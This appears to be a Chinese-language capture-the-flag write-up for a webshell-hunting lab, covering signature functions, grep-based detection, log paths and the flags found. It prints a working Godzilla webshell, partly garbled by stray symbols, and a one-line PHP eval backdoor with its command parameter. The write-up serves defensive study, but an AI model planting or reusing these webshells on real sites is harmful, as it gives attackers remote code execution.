无论是什么webshell,都有相关特征
下面是3个类型的webshell中的特征
PHP:
eval()
system()
exec()
shell_exec()
passthru()
assert()
base64_decode()
ASP:
Execute()
Eval()
CreateObject()
JSP:
Runtime.getRuntime().exec()
同时webshell也常用编解码来进行绕过
eval(base64_decode('encoded_string'));
webshell也会使用文件包含或读取、写入、修改的函数
PHP:
fopen()
fwrite()
file_get_contents()
file_put_contents()
ASP:
FileSystemObject
webshell也可能会包含网络操作函数,用于远程服务器通信
PHP:
fsockopen()
curl_exec()
file_get_contents('http://...')
ASP:
WinHttp.WinHttpRequest
在服务器中,可以通过查找匹配指定文件内容来找到webshell
//搜索目录下适配当前应用的网页文件,查看内容是否符合webshell特征
find ./ type f -name " *.jsp" | xargs grep "exec("find ./ type f -name "* .php" | xargs grep "eval("
find ./ type f -name " *.asp" | xargs grep "execute("find ./ type f -name "* aspx" | xargs grep "eval("
//免杀的webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"
(常用的代码)
find ./ type f -name "*.php" | xargs grep "eval("
xargs:用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令
grep "eval(": grep用于搜索文本,并输出匹配的行。这里"eval("是grep命令的搜索模式,用于查找包含"eval("字符串的行。
在玄机webshell查杀靶机中
可以找到3个存在eval函数的文件,也就这3个可能就是webshell
查找后,发现确实如此,三个文件为webshell,一个是一句话木马,一个是小马


<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c =$K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){== ==$data=encode($====data,$key);if (isset(====$_SESSION[$====payloadName])){== ==$payload=encode($====_SESSION[====$payloadName],$====key);if (strpos($payload,"getBasicsInfo")===false){== ==$payload=encode($====payload,$key);}eval($payload);echo encode(@run(====$data),$====key);}else{if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
1. `@session_start();`:启动会话
2. `@set_time_limit(0);`:设置脚本执行时间限制为无限制
3. `@error_reporting(0);`:关闭错误报告
4. `function encode(K){...}`:定义了一个名为 `encode` 的函数,它接受两个参数 `$D` 和 `$K`。这个函数看起来像是一个简单的异或编码函数,用于对数据进行加密或解密。它使用 `$K` 作为密钥,对 `$D` 中的每个字符进行异或操作。
5. 接下来的几行代码定义了 `$payloadName`、`$key` 和 `$data` 变量。`$payloadName` 是用于存储有效载荷的会话变量名,`$key` 是用于编码的密钥,`$data` 是从 `php://input` 流中读取的数据。
6. `if ($data!==false){...}`:如果从 `php://input` 读取的数据不是 `false`(即成功读取了数据),则执行以下代码块。
7. `if (isset(payloadName])){...}`:检查 `$payloadName` 对应的会话变量是否已设置。
8. `if (strpos($payload,"getBasicsInfo")===false){...}`:检查 `$payload` 变量中是否包含字符串 `"getBasicsInfo"`。
9. `eval($payload);`:如果 `$payload` 变量包含 `"getBasicsInfo"` 字符串,则执行 `$payload` 变量中的 PHP 代码。
10. `echo encode(@run(key);`:如果 `$data` 包含 `"getBasicsInfo"` 字符串,则执行 `@run($data)` 函数,并将结果编码后输出。
<?php phpinfo();@eval($_REQUEST[1]);?>
调用phpinfo函数
执行任何命令
1=system('')
找到flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
第一个flag已经找到了

现在是第二个,找到黑客工具

webshell一般使用的是菜刀,蚁剑,CS,哥斯拉,冰蝎等工具连接
而下面是哥斯拉码的开头:
@session_start();
@set_time_limit(0);
@error_reporting(0);
那么去github找到对应的路径
https://github.com/BeichenDream/Godzilla
md5后得到
39392de3218c333f794befef07ac9257
flag{39392de3218c333f794befef07ac9257}
另一个.Mysqli.php应该是个隐藏码


那么相关路径是
/var/www/html/include/Db/.Mysqli.php
flag{aebac0e58cd6c5fad1695ee4d1ac1919}
接下来是最后一个,免杀码

> 查找和处理免杀马的方法;
文件完整性检查:
比较当前文件与已知的良性备份文件,发现被修改或新增的文件。
代码审查:
手动检查可疑文件,寻找混淆、编码、加密和动态执行的代码模式。
安全扫描工具:
使用高级安全扫描工具,这些工具使用行为分析和机器学习来检测潜在的免杀马。
日志分析:
查看服务器访问日志和错误日志,寻找异常访问和执行模式。
检查文件修改时间,与正常更新周期不符的文件可能是可疑的。
基于特征的检测:
使用YARA规则等特征检测工具,根据已知的免杀马特征进行扫描。
> 总结:免杀马通过静态检测是检测不到的,因为在免杀的过程中将webshel的特征值以及特征函数都给去掉了,因为webshell执行会在网站日志留下记录,那我们就到网站日志里面看看有啥可疑的记录,这里也顺便说一下linux的日志存放在/var/log目录下。
接下来
常见网站日志的路径:
IIS(Internet Information Services)
IIS是Windows上的默认Web服务器,其日志文件默认存储在以下路径:
IIS 6.0 及更早版本:
`C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\`
IIS 7.0 及更高版本:
`C:\inetpub\logs\LogFiles\W3SVC[SiteID]\`
其中,[SiteID] 是网站的标识符,通常是一个数字。
Apache HTTP Server
如果在Windows上安装了Apache,日志文件默认存储在安装目录下的logs文件夹中:
`C:\Program Files (x86)\Apache Group\Apache2\logs\`
或者
`C:\Program Files\Apache Group\Apache2\logs\`
具体路径取决于安装时选择的位置。
Linux系统中的网站日志路径
Apache HTTP Server
在Linux上,Apache日志文件通常位于以下目录:
访问日志:
`/var/log/apache2/access.log`
或者
`/var/log/httpd/access_log`
错误日志:
`/var/log/apache2/error.log`
或
`/var/log/httpd/error_log`
不同的Linux发行版可能有不同的目录。例如,在Debian/Ubuntu上通常使用`/var/log/apache2/`,而在Red Hat/CentOS上通常使用`/var/log/httpd/`。
Nginx
Nginx是另一个流行的Web服务器,默认的日志文件路径如下:
访问日志:
`/var/log/nginx/access.log`
错误日志:
`/var/log/nginx/error.log`
如何查看和分析日志文件?
Windows:
* 使用文本编辑器(如Notepad、Notepad++)直接打开日志文件查看。
* 可以使用IIS管理器查看IIS日志。
Linux:
使用命令行工具查看日志,例如:
`tail -f /var/log/apache2/access.log tail -f /var/log/nginx/access.log`
可以使用日志分析工具(如GoAccess、AWStats)生成可视化的日志报告。
查询日志后,发现一个不对劲的地方,1=phpinfo()



前往查看相关代码
index.php没发现问题
data/tplcache/top.php也没发现问题
但是wap/top.php存在问题,看着是混淆过的password,而不是正常文件

路径则为/var/www/html/wap/top.php
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
在此,所有webshell均已找到
总结来说,webshell的查找分为3个部分
首先是了解当前web应用使用的语言,比如php,asp,jsp
然后先查询明面的webshell
找到相关的文件,并且查询文件中的webshell特征
最后,查找免杀码,也是最难发现的码,也就是:文件完整性检查,代码审查,日志分析,基于特征的检查
日志查找是很重要的一种方式。